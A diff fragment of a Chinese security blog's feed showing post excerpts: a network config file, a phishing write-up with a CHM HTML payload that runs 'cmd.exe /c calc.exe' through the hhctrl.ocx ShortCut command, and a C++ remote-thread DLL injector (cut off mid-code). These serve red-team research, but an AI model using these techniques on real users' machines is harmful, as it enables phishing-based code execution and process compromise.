style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>HWADDR<span style="color:#f92672">=</span><span style="color:#ae81ff">00</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>C:<span style="color:#ae81ff">29</span><span style="color:#f92672">:</span><span style="color:#ae81ff">4</span>B:<span style="color:#ae81ff">16</span><span style="color:#f92672">:</span>B4 +</span></span><span style="display:flex;"><span>TYPE<span style="color:#f92672">=</span>Ethernet +</span></span><span style="display:flex;"><span>PROXY_METHOD<span style="color:#f92672">=</span>none +</span></span><span style="display:flex;"><span>BROWSER_ONLY<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>BOOTPROTO<span style="color:#f92672">=</span>none +</span></span><span style="display:flex;"><span>IPADDR<span style="color:#f92672">=</span><span style="color:#ae81ff">192.168.117.100</span> +</span></span><span style="display:flex;"><span>GATEWAY<span style="color:#f92672">=</span><span style="color:#ae81ff">192.168.117.2</span> +</span></span><span style="display:flex;"><span>PREFIX<span style="color:#f92672">=</span><span style="color:#ae81ff">24</span> +</span></span><span style="display:flex;"><span>DNS1<span style="color:#f92672">=</span><span style="color:#ae81ff">114.114.114.114</span> +</span></span><span style="display:flex;"><span>DNS2<span style="color:#f92672">=</span><span style="color:#ae81ff">8.8.8.8</span> +</span></span><span style="display:flex;"><span>DEFROUTE<span style="color:#f92672">=</span>yes +</span></span><span style="display:flex;"><span>IPV4_FAILURE_FATAL<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>IPV4_DNS_PRIORITY<span style="color:#f92672">=</span><span style="color:#ae81ff">100</span> +</span></span><span style="display:flex;"><span>IPV6INIT<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>NAME<span style="color:#f92672">=</span>eth1 +</span></span><span style="display:flex;"><span>UUID<span style="color:#f92672">=</span><span style="color:#ae81ff">8</span>a47e710<span style="color:#f92672">-</span>cadd<span style="color:#f92672">-</span><span style="color:#ae81ff">49</span>b5<span style="color:#f92672">-</span>b9b7<span style="color:#f92672">-</span><span style="color:#ae81ff">33</span>a324c4ab66 +</span></span><span style="display:flex;"><span>DEVICE<span style="color:#f92672">=</span>eth1 +</span></span><span style="display:flex;"><span>ONBOOT<span style="color:#f92672">=</span>no +</span></span></code></pre></td></tr></table> +</div> +</div><p>观察启动命令行:</p>邮件钓鱼与T1218.001https://payloads.online/archivers/2023-09-18/phishing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/phishing/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h2 id="背景">背景</h2> <p> @@ -146,7 +362,50 @@ </span></span></code></pre></td></tr></table> </div> </div><h3 id="如何构建chm文件">如何构建CHM文件?</h3> -<p>可以使用<code>Microsoft HTML Help Workshop</code>工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:</p>VsCode扩展中的DLL注入器https://payloads.online/archivers/2023-09-08/vscode-dll/Fri, 08 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-08/vscode-dll/<!-- raw HTML omitted --> +<p>可以使用<code>Microsoft HTML Help Workshop</code>工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-46f7eb69f2f9cfa3972058713818f15955e891fb99252bae45c6209f88a87e69.png" alt="2"> + +</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt; +</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">head</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">OBJECT</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Test&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;application/x-oleobject&#34;</span> <span style="color:#a6e22e">classid</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;clsid:52a2aaae-085d-4187-97ea-8c30db990436&#34;</span> <span style="color:#a6e22e">codebase</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hhctrl.ocx#Version=5,02,3790,1194&#34;</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span> <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Command&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;ShortCut&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Button&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Bitmap:shortcut&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Item1&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;,cmd.exe, /c calc.exe&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Item2&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;273,1,1&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">object</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt; +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Test</span>.<span style="color:#a6e22e">HHClick</span>(); +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Hello&lt;/<span style="color:#f92672">h1</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>在这段代码中,调用了<code>hhctrl.ocx</code>COM组件,该组件的方法可以执行命令:</p>VsCode扩展中的DLL注入器https://payloads.online/archivers/2023-09-08/vscode-dll/Fri, 08 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-08/vscode-dll/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <p>安装完毕Python调试扩展后,会在扩展目录中生成一些文件:</p> <p> @@ -306,7 +565,145 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">132 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">133 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">134 -</span></code></pr红队行动守则https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/Thu, 10 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/<!-- raw HTML omitted --> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">// inject_dll.cpp +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;conio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;tchar.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;tlhelp32.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#pragma comment(lib, &#34;kernel32.lib&#34;) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#pragma comment(lib, &#34;user32.lib&#34;) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// Helper to free data when we leave the scope. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">DataToFree</span> { +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span> +</span></span><span style="display:flex;"><span> HANDLE hProcess; +</span></span><span style="display:flex;"><span> HANDLE snapshotHandle; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> LPVOID remoteMemoryAddr; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> remoteMemorySize; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> DataToFree(){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">~</span>DataToFree() { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> VirtualFreeEx(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess, <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr, <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize, MEM_RELEASE); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> CloseHandle(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> CloseHandle(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>}; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">/** +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * All we do here is load a dll in a remote program (in a remote thread). +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Arguments must be the pid and the dll name to run. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * i.e.: inject_dll.exe &lt;pid&gt; &lt;dll path&gt; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>( <span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>argv[ ], <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>envp[ ] ) +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Running executable to inject dll.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Helper to clear resources. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DataToFree dataToFree; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(argc <span style="color:#f92672">!=</span> <span style="color:#ae81ff">3</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Expected 2 arguments (pid, dll name).&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">int</span> pid <span style="color:#f92672">=</span> _wtoi(argv[<span style="color:#ae81ff">1</span>]); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(pid <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Invalid pid.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">2</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">int</span> MAX_PATH_SIZE_PADDED <span style="color:#f92672">=</span> MAX_PATH <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> dllPath[MAX_PATH_SIZE_PADDED]; +</span></span><span style="display:flex;"><span> memset(<span style="color:#f92672">&amp;</span>dllPath[<span style="color:#ae81ff">0</span>], <span style="color:#e6db74">&#39;\0&#39;</span>, MAX_PATH_SIZE_PADDED); +</span></span><span style="display:flex;"><span> size_t pathLen <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> wcstombs_s(<span style="color:#f92672">&amp;</span>pathLen, dllPath, argv[<span style="color:#ae81ff">2</span>], MAX_PATH); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">bool</span> inheritable <span style="color:#f92672">=</span> false; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> HANDLE hProcess <span style="color:#f92672">=</span> OpenProcess(PROCESS_VM_OPERATION <span style="color:#f92672">|</span> PROCESS_CREATE_THREAD <span style="color:#f92672">|</span> PROCESS_VM_READ <span style="color:#f92672">|</span> PROCESS_VM_WRITE <span style="color:#f92672">|</span> PROCESS_QUERY_INFORMATION, inheritable, pid); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hProcess <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span> <span style="color:#f92672">||</span> hProcess <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Unable to open process with pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">3</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> dataToFree.hProcess <span style="color:#f92672">=</span> hProcess; +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;OpenProcess with pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> LPVOID remoteMemoryAddr <span style="color:#f92672">=</span> VirtualAllocEx(hProcess, <span style="color:#66d9ef">nullptr</span>, MAX_PATH_SIZE_PADDED, MEM_RESERVE <span style="color:#f92672">|</span> MEM_COMMIT, PAGE_EXECUTE_READWRITE); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(remoteMemoryAddr <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to allocate memory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">4</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> dataToFree.remoteMemorySize <span style="color:#f92672">=</span> MAX_PATH_SIZE_PADDED; +</span></span><span style="display:flex;"><span> dataToFree.remoteMemoryAddr <span style="color:#f92672">=</span> remoteMemoryAddr; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;VirtualAllocEx in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">bool</span> written <span style="color:#f92672">=</span> WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, <span style="color:#66d9ef">nullptr</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>written){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to write to memory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">5</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WriteProcessMemory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> LPVOID loadLibraryAddress <span style="color:#f92672">=</span> (LPVOID) GetProcAddress(GetModuleHandle(<span style="color:#e6db74">&#34;kernel32.dll&#34;</span>), <span style="color:#e6db74">&#34;LoadLibraryA&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(loadLibraryAddress <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to get LoadLibraryA address. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">6</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;loadLibraryAddress: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> HANDLE remoteThread <span style="color:#f92672">=</span> CreateRemoteThread(hProcess, <span style="color:#66d9ef">nullptr</span>, <span style="color:#ae81ff">0</span>, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">nullptr</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (remoteThread <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to CreateRemoteThread. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">7</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// We wait for the load to finish before proceeding to get the function to actually do the attach. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Waiting for LoadLibraryA to complete.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> DWORD result <span style="color:#f92672">=</span> WaitForSingleObject(remoteThread, <span style="color:#ae81ff">5</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">1000</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(result <span style="color:#f92672">==</span> WAIT_TIMEOUT) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WaitForSingleObject(LoadLibraryA thread) timed out.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">8</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span>(result <span style="color:#f92672">==</span> WAIT_FAILED) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span 